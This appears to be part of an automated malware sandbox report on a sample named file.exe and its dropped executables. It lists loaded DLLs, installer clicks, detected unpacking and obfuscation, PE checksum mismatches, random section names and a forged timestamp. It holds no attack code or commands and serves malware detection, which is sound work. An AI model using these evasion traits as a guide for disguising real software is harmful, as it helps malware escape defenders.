Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	Automated click: Next >
Source: C:\Windows\SysWOW64\taskkill.exe	Automated click: Next >
Source: C:\Windows\SysWOW64\taskkill.exe	Automated click: Next >
Source: C:\Windows\SysWOW64\taskkill.exe	Automated click: Install
Source: C:\Windows\SysWOW64\taskkill.exe	Automated click: Next >
Source: C:\Windows\SysWOW64\taskkill.exe	Automated click: Next >

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: file.exe

Static file information: File size 2956800 > 1048576

Source: file.exe

Static PE information: Raw size of osemtlkq is bigger than: 0x100000 < 0x2a0200

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.670000.0.unpack :EW;.rsrc:W;.idata :W;osemtlkq:EW;fqwpihld:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;osemtlkq:EW;fqwpihld:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.df0000.0.unpack :EW;.rsrc:W;.idata :W;osemtlkq:EW;fqwpihld:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;osemtlkq:EW;fqwpihld:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Unpacked PE file: 8.2.f48847f8be.exe.30000.0.unpack :EW;.rsrc:W;.idata :W;epdlxdrm:EW;ksjtzbhl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;epdlxdrm:EW;ksjtzbhl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Unpacked PE file: 9.2.bfa374134d.exe.5f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ysbjspdj:EW;irdueqtp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ysbjspdj:EW;irdueqtp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016939001\8be8d9c4e9.exe	Unpacked PE file: 29.2.8be8d9c4e9.exe.7a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;yxtglqzl:EW;ovmlmqjr:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\1016937001\f48847f8be.exe	Unpacked PE file: 31.2.f48847f8be.exe.30000.0.unpack :EW;.rsrc:W;.idata :W;epdlxdrm:EW;ksjtzbhl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;epdlxdrm:EW;ksjtzbhl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 33.2.skotes.exe.df0000.0.unpack :EW;.rsrc:W;.idata :W;osemtlkq:EW;fqwpihld:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;osemtlkq:EW;fqwpihld:EW;.taggant:EW;

Source: random[2].exe2.2.dr

Static PE information: 0xF456CF88 [Wed Nov 25 22:45:28 2099 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: f48847f8be.exe.2.dr	Static PE information: real checksum: 0x2c9689 should be: 0x2bf8f6
Source: random[1].exe0.2.dr	Static PE information: real checksum: 0x2c9689 should be: 0x2bf8f6
Source: 2db16943cb.exe.2.dr	Static PE information: real checksum: 0x4460a5 should be: 0x44bc7e
Source: ON80Y93WBYHTIEIKRLTF27273JXE.exe.7.dr	Static PE information: real checksum: 0x1c2892 should be: 0x1bf2d3
Source: 6LLT7I405VVFPGR4K34JYO7L59M7E3.exe.15.dr	Static PE information: real checksum: 0x1c2892 should be: 0x1bf2d3
Source: random[3].exe.2.dr	Static PE information: real checksum: 0x0 should be: 0xc2aa1
Source: 3ca19a76c8.exe.2.dr	Static PE information: real checksum: 0x2c9689 should be: 0x2bf8f6
Source: dca2c3185c.exe.2.dr	Static PE information: real checksum: 0x1f4daa should be: 0x1f2420
Source: bfa374134d.exe.2.dr	Static PE information: real checksum: 0x1c7915 should be: 0x1c3e00
Source: KVK4REO25LWHL4OY.exe.15.dr	Static PE information: real checksum: 0x2c9689 should be: 0x2bf8f6
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2dd770 should be: 0x2da2b6
Source: random[1].exe.2.dr	Static PE information: real checksum: 0x1c7915 should be: 0x1c3e00
Source: random[2].exe2.2.dr	Static PE information: real checksum: 0x0 should be: 0x324fc1
Source: 02a06b55a8.exe.2.dr	Static PE information: real checksum: 0x4460a5 should be: 0x44bc7e
Source: random[2].exe.2.dr	Static PE information: real checksum: 0x1f4daa should be: 0x1f2420
Source: 741343eac3.exe.2.dr	Static PE information: real checksum: 0x1c2892 should be: 0x1bf2d3
Source: fae24101ae.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x324fc1
Source: 8be8d9c4e9.exe.2.dr	Static PE information: real checksum: 0x1c2892 should be: 0x1bf2d3
Source: random[2].exe0.2.dr	Static PE information: real checksum: 0x1c2892 should be: 0x1bf2d3
Source: 45ee3ccff8.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: NGOMEG1CQCQ279X0PYL4.exe.7.dr	Static PE information: real checksum: 0x2c9689 should be: 0x2bf8f6
Source: random[1].exe2.2.dr	Static PE information: real checksum: 0x4460a5 should be: 0x44bc7e
Source: 7z.exe.36.dr	Static PE information: real checksum: 0x0 should be: 0x7b29e
Source: 8639af97b9.exe.2.dr	Static PE information: real checksum: 0x1c7915 should be: 0x1c3e00
Source: file.exe	Static PE information: real checksum: 0x2dd770 should be: 0x2da2b6
Source: random[3].exe0.2.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: 7z.dll.36.dr	Static PE information: real checksum: 0x0 should be: 0x1a2c6b
Source: 093ffd8e79.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0xc2aa1

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: osemtlkq
Source: file.exe	Static PE information: section name: fqwpihld
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: osemtlkq
Source: skotes.exe.0.dr	Static PE information: section name: fqwpihld
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: 3ca19a76c8.exe.2.dr	Static PE information: section name:
Source: 3ca19a76c8.exe.2.dr	Static PE information: section name: .idata
Source: 3ca19a76c8.exe.2.dr	Static PE information: section name: epdlxdrm
Source: 3ca19a76c8.exe.2.dr	Static PE information: section name: ksjtzbhl
Source: 3ca19a76c8.exe.2.dr	Static PE information: section name: .taggant
Source: 741343eac3.exe.2.dr	Static PE information: section name:
Source: 741343eac3.exe.2.dr	Static PE information: section name: .idata
Source: 741343eac3.exe.2.dr	Static PE information: section name:
Source: 741343eac3.exe.2.dr	Static PE information: section name: yxtglqzl
Source: 741343eac3.exe.2.dr	Static PE information: section name: ovmlmqjr
Source: 741343eac3.exe.2.dr	Static PE information: section name: .taggant
Source: random[2].exe.2.dr	Static PE information: section name:
Source: random[2].exe.2.dr	Static PE information: section name: .idata
Source: random[2].exe.2.dr	Static PE information: section name:
Source: random[2].exe.2.dr	Static PE information: section name: icaenpzq
Source: random[2].exe.2.dr	Static PE information: section name: acsraxvu
Source: random[2].exe.2.dr	Static PE information: section name: .taggant
Source: dca2c3185c.exe.2.dr	Static PE information: section name:
Source: dca2c3185c.exe.2.dr	Static PE information: section name: .idata
Source: dca2c3185c.exe.2.dr	Static PE information: section name:
Source: dca2c3185c.exe.2.dr	Static PE information: section name: icaenpzq
Source: dca2c3185c.exe.2.dr	Static PE information: section name: acsraxvu
Source: dca2c3185c.exe.2.dr	Static PE information: section name: .taggant
Source: random[1].exe.2.dr	Static PE information: section name:
Source: random[1].exe.2.dr	Static PE information: section name: .idata
Source: random[1].exe.2.dr	Static PE information: section name:
Source: random[1].exe.2.dr	Static PE information: section name: ysbjspdj
Source: random[1].exe.2.dr	Static PE information: section name: irdueqtp
Source: random[1].exe.2.dr	Static PE information: section name: .taggant
Source: bfa374134d.exe.2.dr	Static PE information: section name:
Source: bfa374134d.exe.2.dr	Static PE information: section name: .idata
Source: bfa374134d.exe.2.dr	Static PE information: section name:
Source: bfa374134d.exe.2.dr	Static PE information: section name: ysbjspdj
Source: bfa374134d.exe.2.dr	Static PE information: section name: irdueqtp
Source: bfa374134d.exe.2.dr	Static PE information: section name: .taggant
Source: random[1].exe0.2.dr	Static PE information: section name:
Source: random[1].exe0.2.dr	Static PE information: section name: .idata
Source: random[1].exe0.2.dr	Static PE information: section name: epdlxdrm
Source: random[1].exe0.2.dr	Static PE information: section name: ksjtzbhl
Source: random[1].exe0.2.dr	Static PE information: section name: .taggant
Source: f48847f8be.exe.2.dr	Static PE information: section name:
Source: f48847f8be.exe.2.dr	Static PE information: section name: .idata
Source: f48847f8be.exe.2.dr	Static PE information: section name: epdlxdrm
Source: f48847f8be.exe.2.dr	Static PE information: section name: ksjtzbhl
Source: f48847f8be.exe.2.dr	Static PE information: section name: .taggant
Source: random[1].exe2.2.dr	Static PE information: section name:
Source: random[1].exe2.2.dr	Static PE information: section name: .idata
Source: random[1].exe2.2.dr	Static PE information: section name:
Source: random[1].exe2.2.dr	Static PE information: section name: ocsbkfkw
Source: random[1].exe2.2.dr	Static PE information: section name: ujuhopim
Source: random[1].exe2.2.dr	Static PE information: section name: .taggant
Source: 2db16943cb.exe.2.dr	Static PE information: section name:
Source: 2db16943cb.exe.2.dr	Static PE information: section name: .idata
Source: 2db16943cb.exe.2.dr	Static PE information: section name:
Source: 2db16943cb.exe.2.dr	Static PE information: section name: ocsbkfkw
Source: 2db16943cb.exe.2.dr	Static PE information: section name: ujuhopim
Source: 2db16943cb.exe.2.dr	Static PE information: section name: .taggant
Source: random[2].exe0.2.dr	Static PE information: section name:
Source: random[2].exe0.2.dr	Static PE information: section name: .idata
Source: random[2].exe0.2.dr	Static PE information: section name:
Source: random[2].exe0.2.dr	Static PE information: section name: yxtglqzl
Source: random[2].exe0.2.dr	Static PE information: section name: ovmlmqjr
Source: random[2].exe0.2.dr	Static PE information: section name: .taggant
Source: 8be8d9c4e9.exe.2.dr	Static PE information: section name:
Source: 8be8d9c4e9.exe.2.dr	Static PE information: section name: .idata
Source: 8be8d9c4e9.exe.2.dr	Static PE information: section name:
Source: 8be8d9c4e9.exe.2.dr	Static PE information: section name: yxtglqzl
Source: 8be8d9c4e9.exe.2.dr	Static PE information: section name: ovmlmqjr
Source: 8be8d9c4e9.exe.2.dr	Static PE information: section name: .taggant
Source: x0qQ2DH[1].exe.2.dr	Static PE information: section name: .eh_fram
Source: x0qQ2DH.exe.2.dr	Static PE information: section name: .eh_fram
Source: 02a06b55a8.exe.2.dr	Static PE information: section name:
Source: 02a06b55a8.exe.2.dr	Static PE information: section name: .idata
Source: 02a06b55a8.exe.2.dr	Static PE information: section name:
Source: 02a06b55a8.exe.2.dr	Static PE information: section name: ocsbkfkw
Source: 02a06b55a8.exe.2.dr	Static PE information: section name: ujuhopim
Source: 02a06b55a8.exe.2.dr	Static PE information: section name: .taggant
Source: 8639af97b9.exe.2.dr	Static PE information: section name:
Source: 8639af97b9.exe.2.dr	Static PE information: section name: .idata
Source: 8639af97b9.exe.2.dr	Static PE information: section name:
Source: 8639af97b9.exe.2.dr	Static PE information: section name: ysbjspdj
